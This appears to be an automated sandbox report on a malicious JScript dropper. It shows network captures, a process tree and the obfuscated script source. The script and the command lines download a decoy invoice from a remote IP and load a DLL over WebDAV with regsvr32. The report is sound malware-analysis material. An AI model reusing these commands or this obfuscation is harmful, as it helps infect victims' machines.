[TRUNCATED]
Jan 11, 2025 02:41:42.541650057 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:41:42.541667938 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:41:42.541692019 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:41:42.541707993 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:41:42.541726112 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:41:42.541810036 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 02:41:42.541826010 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 02:41:42.541971922 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 02:41:42.541986942 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 02:41:42.546642065 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1440	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:41:44.252237082 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:41:45.079778910 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:41:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:41:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js"
Imagebase:	0x7ff7be5e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:41:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll
Imagebase:	0x7ff7b0730000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:41:38
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:41:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:41:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:41:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b0730000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:41:43
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6cd210000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:41:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:41:44
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:41:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1788,i,10390997159880775626,9506597662424275383,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rflvzwczo() {	rflvzwczo() ➔ undefined
1	zxxlo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kmaqnzea = this[aerqkllje + oskfrpa + jpwxfok + ykhbf + vrpht + ycodpeqag + kqvog + iypffqw] ( this[megocvb + fgygj + jvliexdm + jpwxfok + jknuv + aerqkllje + iypffqw][tjnbqafw + jpwxfok + vrpht + oskfrpa + iypffqw + vrpht + vfenyzd + jxvyzoc + jecvku + vrpht + jvliexdm + iypffqw] ( megocvb + fgygj + jvliexdm + jpwxfok + jknuv + aerqkllje + iypffqw + yuvyewd + fgygj + rqsdmcr + vrpht + btuihht + btuihht ) [ubpou + vrpht + xzeoyjxj + ubpou + vrpht + oskfrpa + kkrao] ( jnqfsj + bkqpwi + mcrsbrte + gohcyv + yplcw + tjnbqafw + awueaxgkp + ubpou + ubpou + mcrsbrte + ltdecov + fnfvc + yplcw + awueaxgkp + fgygj + mcrsbrte + ubpou + guqnzco + tjnbqafw + malyn + kqvog + iypffqw + jpwxfok + malyn + btuihht + gnwigs + ncwuzqbur + oskfrpa + kqvog + vrpht + btuihht + guqnzco + ycodpeqag + kqvog + iypffqw + vrpht + jpwxfok + kqvog + oskfrpa + iypffqw + jknuv + malyn + kqvog + oskfrpa + btuihht + guqnzco + nnpsoynj + malyn + jvliexdm + oskfrpa + btuihht + vrpht ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gvyqh = 0 ; gvyqh < zxxlo[btuihht + vrpht + kqvog + xzeoyjxj + iypffqw + rqsdmcr] ; ++ gvyqh )
4	{
5	if ( kmaqnzea == zxxlo[gvyqh] )
6	{
7	kmaqnzea = true;
8	break ;
9	}
10	}
11	if ( kmaqnzea !== true )
12	this[megocvb + fgygj + jvliexdm + jpwxfok + jknuv + aerqkllje + iypffqw][hualzhno + gxtwygjh + jknuv + iypffqw] ( );
13	this[megocvb + fgygj + jvliexdm + jpwxfok + jknuv + aerqkllje + iypffqw][tjnbqafw + jpwxfok + vrpht + oskfrpa + iypffqw + vrpht + vfenyzd + jxvyzoc + jecvku + vrpht + jvliexdm + iypffqw] ( megocvb + fgygj + jvliexdm + jpwxfok + jknuv + aerqkllje + iypffqw + yuvyewd + fgygj + rqsdmcr + vrpht + btuihht + btuihht ) [jpwxfok + gxtwygjh + kqvog] ( jvliexdm + uxclhjhhd + kkrao + gnwigs + ybfbqll + jvliexdm + gnwigs + aerqkllje + malyn + edivwddzz + vrpht + jpwxfok + ykhbf + rqsdmcr + vrpht + btuihht + btuihht + yuvyewd + vrpht + yhwlow + vrpht + gnwigs + vvreqyp + tjnbqafw + malyn + uxclhjhhd + uxclhjhhd + oskfrpa + kqvog + kkrao + gnwigs + ioaprcb + ycodpeqag + kqvog + fofbmozbu + malyn + vnsqvcgv + vrpht + vvreqyp + megocvb + vrpht + jxvyzoc + ubpou + vrpht + llboxo + gxtwygjh + vrpht + ykhbf + iypffqw + gnwigs + vvreqyp + vfenyzd + gxtwygjh + iypffqw + qznczk + jknuv + btuihht + vrpht + gnwigs + wxuzwe + iypffqw + vrpht + uxclhjhhd + aerqkllje + wxuzwe + guqnzco + jknuv + kqvog + fofbmozbu + malyn + jknuv + jvliexdm + vrpht + yuvyewd + aerqkllje + kkrao + zqyayy + gnwigs + rqsdmcr + iypffqw + iypffqw + aerqkllje + dwmuulqt + ybfbqll + ybfbqll + gbmfcvw + dpkagf + kiqspbeek + yuvyewd + gbmfcvw + fksapwrba + kiqspbeek + yuvyewd + gbmfcvw + yuvyewd + xfgtaogaf + ggbzmjj + cctltir + ybfbqll + jknuv + kqvog + fofbmozbu + malyn + jknuv + jvliexdm + vrpht + yuvyewd + aerqkllje + rqsdmcr + aerqkllje + ioaprcb + rigfvbduk + rigfvbduk + ykhbf + iypffqw + oskfrpa + jpwxfok + iypffqw + gnwigs + wxuzwe + iypffqw + vrpht + uxclhjhhd + aerqkllje + wxuzwe + guqnzco + jknuv + kqvog + fofbmozbu + malyn + jknuv + jvliexdm + vrpht + yuvyewd + aerqkllje + kkrao + zqyayy + rigfvbduk + rigfvbduk + jvliexdm + uxclhjhhd + kkrao + gnwigs + ybfbqll + jvliexdm + gnwigs + kqvog + vrpht + iypffqw + gnwigs + gxtwygjh + ykhbf + vrpht + gnwigs + guqnzco + guqnzco + gbmfcvw + dpkagf + kiqspbeek + yuvyewd + gbmfcvw + fksapwrba + kiqspbeek + yuvyewd + gbmfcvw + yuvyewd + xfgtaogaf + ggbzmjj + cctltir + kwwjhuzns + rvqpu + rvqpu + rvqpu + rvqpu + guqnzco + kkrao + oskfrpa + fofbmozbu + edivwddzz + edivwddzz + edivwddzz + jpwxfok + malyn + malyn + iypffqw + guqnzco + rigfvbduk + rigfvbduk + jvliexdm + uxclhjhhd + kkrao + gnwigs + ybfbqll + jvliexdm + gnwigs + jpwxfok + vrpht + xzeoyjxj + ykhbf + fofbmozbu + jpwxfok + kiqspbeek + xfgtaogaf + gnwigs + ybfbqll + ykhbf + gnwigs + guqnzco + guqnzco + gbmfcvw + dpkagf + kiqspbeek + yuvyewd + gbmfcvw + fksapwrba + kiqspbeek + yuvyewd + gbmfcvw + yuvyewd + xfgtaogaf + ggbzmjj + cctltir + kwwjhuzns + rvqpu + rvqpu + rvqpu + rvqpu + guqnzco + kkrao + oskfrpa + fofbmozbu + edivwddzz + edivwddzz + edivwddzz + jpwxfok + malyn + malyn + iypffqw + guqnzco + gbmfcvw + xfgtaogaf + txlcloo + txlcloo + xfgtaogaf + xfgtaogaf + fksapwrba + gbmfcvw + xicrrar + gbmfcvw + kiqspbeek + txlcloo + dpkagf + txlcloo + yuvyewd + kkrao + btuihht + btuihht, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll",0,false) ➔ 0
14	}
15	edivwddzz = "P";
16	edivwddzz = "J";
17	edivwddzz = "m";
18	edivwddzz = "L";
19	edivwddzz = "H";
20	edivwddzz = "H";
21	edivwddzz = "J";
22	edivwddzz = "G";
23	edivwddzz = "z";
24	edivwddzz = "Y";
25	edivwddzz = "R";
26	edivwddzz = "c";
27	edivwddzz = "b";
28	edivwddzz = "w";
29	edivwddzz = "W";
30	edivwddzz = "x";
31	edivwddzz = "F";
32	edivwddzz = "a";
33	edivwddzz = "J";
34	edivwddzz = "j";
35	edivwddzz = "n";
36	edivwddzz = "c";
37	edivwddzz = "v";
38	edivwddzz = "E";
39	edivwddzz = "f";
40	edivwddzz = "A";
41	edivwddzz = "d";
42	edivwddzz = "w";
43	yuvyewd = "J";
44	yuvyewd = "h";
45	yuvyewd = "j";
46	yuvyewd = "c";
47	yuvyewd = "R";
48	yuvyewd = "z";
49	yuvyewd = "Y";
50	yuvyewd = "k";
51	yuvyewd = "p";
52	yuvyewd = "Z";
53	yuvyewd = "M";
54	yuvyewd = "J";
55	yuvyewd = "g";
56	yuvyewd = "i";
57	yuvyewd = "L";
58	yuvyewd = "c";
59	yuvyewd = "c";
60	yuvyewd = "G";
61	yuvyewd = "I";
62	yuvyewd = "g";
63	yuvyewd = "i";
64	yuvyewd = "x";
65	yuvyewd = "C";
66	yuvyewd = "R";
67	yuvyewd = "D";
68	yuvyewd = "K";
69	yuvyewd = "B";
70	yuvyewd = "v";
71	yuvyewd = "l";
72	yuvyewd = "v";
73	yuvyewd = "z";
74	yuvyewd = "w";
75	yuvyewd = "G";
76	yuvyewd = ".";
77	ykhbf = "p";
78	ykhbf = "N";
79	ykhbf = "A";
80	ykhbf = "r";
81	ykhbf = "u";
82	ykhbf = "S";
83	ykhbf = "Q";
84	ykhbf = "y";
85	ykhbf = "N";
86	ykhbf = "m";
87	ykhbf = "w";
88	ykhbf = "X";
89	ykhbf = "E";
90	ykhbf = "o";
91	ykhbf = "L";
92	ykhbf = "j";
93	ykhbf = "S";
94	ykhbf = "F";
95	ykhbf = "V";
96	ykhbf = "k";
97	ykhbf = "o";
98	ykhbf = "g";
99	ykhbf = "u";
100	ykhbf = "t";
101	ykhbf = "q";
102	ykhbf = "r";
103	ykhbf = "Z";
104	ykhbf = "R";
105	ykhbf = "y";
106	ykhbf = "Z";
107	ykhbf = "b";
108	ykhbf = "I";
109	ykhbf = "a";
110	ykhbf = "i";
111	ykhbf = "p";
112	ykhbf = "w";
113	ykhbf = "y";
114	ykhbf = "w";
115	ykhbf = "v";
116	ykhbf = "s";
117	iypffqw = "x";
118	iypffqw = "x";
119	iypffqw = "D";
120	iypffqw = "Y";
121	iypffqw = "L";
122	iypffqw = "A";
123	iypffqw = "s";
124	iypffqw = "X";
125	iypffqw = "v";
126	iypffqw = "d";
127	iypffqw = "g";
128	iypffqw = "H";
129	iypffqw = "t";
130	iypffqw = "u";
131	iypffqw = "Y";
132	iypffqw = "J";
133	iypffqw = "E";
134	iypffqw = "G";
135	iypffqw = "p";
136	iypffqw = "i";
137	iypffqw = "C";
138	iypffqw = "H";
139	iypffqw = "B";
140	iypffqw = "W";
141	iypffqw = "g";
142	iypffqw = "t";
143	malyn = "i";
144	malyn = "M";
145	malyn = "B";
146	malyn = "p";
147	malyn = "A";
148	malyn = "i";
149	malyn = "R";
150	malyn = "Q";
151	malyn = "u";
152	malyn = "V";
153	malyn = "k";
154	malyn = "D";
155	malyn = "p";
156	malyn = "d";
157	malyn = "A";
158	malyn = "J";
159	malyn = "o";
160	gnwigs = "f";
161	gnwigs = "W";
162	gnwigs = "c";
163	gnwigs = "t";
164	gnwigs = "p";
165	gnwigs = "l";
166	gnwigs = "X";
167	gnwigs = "A";
168	gnwigs = "j";
169	gnwigs = "z";
170	gnwigs = "d";
171	gnwigs = "A";
172	gnwigs = "Y";
173	gnwigs = "U";
174	gnwigs = "s";
175	gnwigs = "O";
176	gnwigs = " ";
177	jnqfsj = "m";
178	jnqfsj = "Y";
179	jnqfsj = "v";
180	jnqfsj = "e";
181	jnqfsj = "f";
182	jnqfsj = "j";
183	jnqfsj = "Y";
184	jnqfsj = "P";
185	jnqfsj = "o";
186	jnqfsj = "F";
187	jnqfsj = "y";
188	jnqfsj = "t";
189	jnqfsj = "H";
190	jnqfsj = "g";
191	jnqfsj = "M";
192	jnqfsj = "g";
193	jnqfsj = "G";
194	jnqfsj = "F";
195	jnqfsj = "H";
196	jnqfsj = "c";
197	jnqfsj = "Z";
198	jnqfsj = "H";
199	xzeoyjxj = "A";
200	xzeoyjxj = "g";
201	cctltir = "k";
202	cctltir = "m";
203	cctltir = "x";
204	cctltir = "c";
205	cctltir = "W";
206	cctltir = "x";
207	cctltir = "Y";
208	cctltir = "L";
209	cctltir = "y";
210	cctltir = "j";
211	cctltir = "Z";
212	cctltir = "L";
213	cctltir = "p";
214	cctltir = "u";
215	cctltir = "Z";
216	cctltir = "L";
217	cctltir = "v";
218	cctltir = "A";
219	cctltir = "F";
220	cctltir = "k";
221	cctltir = "w";
222	cctltir = "H";
223	cctltir = "D";
224	cctltir = "N";
225	cctltir = "o";
226	cctltir = "l";
227	cctltir = "r";
228	cctltir = "T";
229	cctltir = "P";
230	cctltir = "e";
231	cctltir = "G";
232	cctltir = "b";
233	cctltir = "W";
234	cctltir = "v";
235	cctltir = "p";
236	cctltir = "P";
237	cctltir = "q";
238	cctltir = "P";
239	cctltir = "E";
240	cctltir = "x";
241	cctltir = "n";
242	cctltir = "B";
243	cctltir = "w";
244	cctltir = "x";
245	cctltir = "5";
246	wxuzwe = "a";
247	wxuzwe = "m";
248	wxuzwe = "v";
249	wxuzwe = "G";
250	wxuzwe = "D";
251	wxuzwe = "t";
252	wxuzwe = "w";
253	wxuzwe = "j";
254	wxuzwe = "H";
255	wxuzwe = "g";
256	wxuzwe = "J";
257	wxuzwe = "R";
258	wxuzwe = "L";
259	wxuzwe = "%";
260	uxclhjhhd = "C";
261	uxclhjhhd = "L";
262	uxclhjhhd = "P";
263	uxclhjhhd = "e";
264	uxclhjhhd = "D";
265	uxclhjhhd = "L";
266	uxclhjhhd = "m";
267	ncwuzqbur = "g";
268	ncwuzqbur = "a";
269	ncwuzqbur = "I";
270	ncwuzqbur = "r";
271	ncwuzqbur = "Y";
272	ncwuzqbur = "a";
273	ncwuzqbur = "P";
274	kiqspbeek = "j";
275	kiqspbeek = "R";
276	kiqspbeek = "d";
277	kiqspbeek = "H";
278	kiqspbeek = "s";
279	kiqspbeek = "Y";
280	kiqspbeek = "x";
281	kiqspbeek = "k";
282	kiqspbeek = "f";
283	kiqspbeek = "u";
284	kiqspbeek = "K";
285	kiqspbeek = "R";
286	kiqspbeek = "R";
287	kiqspbeek = "b";
288	kiqspbeek = "l";
289	kiqspbeek = "S";
290	kiqspbeek = "L";
291	kiqspbeek = "T";
292	kiqspbeek = "y";
293	kiqspbeek = "F";
294	kiqspbeek = "y";
295	kiqspbeek = "R";
296	kiqspbeek = "L";
297	kiqspbeek = "q";
298	kiqspbeek = "l";
299	kiqspbeek = "U";
300	kiqspbeek = "Y";
301	kiqspbeek = "3";
302	btuihht = "i";
303	btuihht = "i";
304	btuihht = "f";
305	btuihht = "s";
306	btuihht = "S";
307	btuihht = "D";
308	btuihht = "s";
309	btuihht = "L";
310	btuihht = "f";
311	btuihht = "G";
312	btuihht = "v";
313	btuihht = "G";
314	btuihht = "D";
315	btuihht = "d";
316	btuihht = "U";
317	btuihht = "D";
318	btuihht = "u";
319	btuihht = "g";
320	btuihht = "r";
321	btuihht = "J";
322	btuihht = "f";
323	btuihht = "C";
324	btuihht = "a";
325	btuihht = "s";
326	btuihht = "U";
327	btuihht = "v";
328	btuihht = "z";
329	btuihht = "i";
330	btuihht = "S";
331	btuihht = "L";
332	btuihht = "l";
333	aerqkllje = "h";
334	aerqkllje = "F";
335	aerqkllje = "t";
336	aerqkllje = "b";
337	aerqkllje = "G";
338	aerqkllje = "N";
339	aerqkllje = "u";
340	aerqkllje = "s";
341	aerqkllje = "l";
342	aerqkllje = "k";
343	aerqkllje = "p";
344	kqvog = "W";
345	kqvog = "e";
346	kqvog = "J";
347	kqvog = "R";
348	kqvog = "M";
349	kqvog = "z";
350	kqvog = "W";
351	kqvog = "Y";
352	kqvog = "l";
353	kqvog = "n";
354	kqvog = "n";
355	awueaxgkp = "G";
356	awueaxgkp = "j";
357	awueaxgkp = "f";
358	awueaxgkp = "A";
359	awueaxgkp = "j";
360	awueaxgkp = "v";
361	awueaxgkp = "d";
362	awueaxgkp = "Q";
363	awueaxgkp = "U";
364	vnsqvcgv = "A";
365	vnsqvcgv = "Y";
366	vnsqvcgv = "f";
367	vnsqvcgv = "K";
368	vnsqvcgv = "y";
369	vnsqvcgv = "X";
370	vnsqvcgv = "N";
371	vnsqvcgv = "V";
372	vnsqvcgv = "T";
373	vnsqvcgv = "W";
374	vnsqvcgv = "s";
375	vnsqvcgv = "F";
376	vnsqvcgv = "r";
377	vnsqvcgv = "x";
378	vnsqvcgv = "J";
379	vnsqvcgv = "d";
380	vnsqvcgv = "Q";
381	vnsqvcgv = "x";
382	vnsqvcgv = "W";
383	vnsqvcgv = "S";
384	vnsqvcgv = "E";
385	vnsqvcgv = "D";
386	vnsqvcgv = "V";
387	vnsqvcgv = "Z";
388	vnsqvcgv = "I";
389	vnsqvcgv = "A";
390	vnsqvcgv = "r";
391	vnsqvcgv = "c";
392	vnsqvcgv = "E";
393	vnsqvcgv = "D";
394	vnsqvcgv = "y";
395	vnsqvcgv = "h";
396	vnsqvcgv = "P";
397	vnsqvcgv = "C";
398	vnsqvcgv = "J";
399	vnsqvcgv = "o";
400	vnsqvcgv = "P";
401	vnsqvcgv = "v";
402	vnsqvcgv = "q";
403	vnsqvcgv = "g";
404	vnsqvcgv = "V";
405	vnsqvcgv = "x";
406	vnsqvcgv = "k";
407	nnpsoynj = "b";
408	nnpsoynj = "V";
409	nnpsoynj = "y";
410	nnpsoynj = "i";
411	nnpsoynj = "w";
412	nnpsoynj = "A";
413	nnpsoynj = "Q";
414	nnpsoynj = "T";
415	nnpsoynj = "r";
416	nnpsoynj = "t";
417	nnpsoynj = "I";
418	nnpsoynj = "b";
419	nnpsoynj = "G";
420	nnpsoynj = "T";
421	nnpsoynj = "v";
422	nnpsoynj = "I";
423	nnpsoynj = "A";
424	nnpsoynj = "W";
425	nnpsoynj = "x";
426	nnpsoynj = "h";
427	nnpsoynj = "g";
428	nnpsoynj = "T";
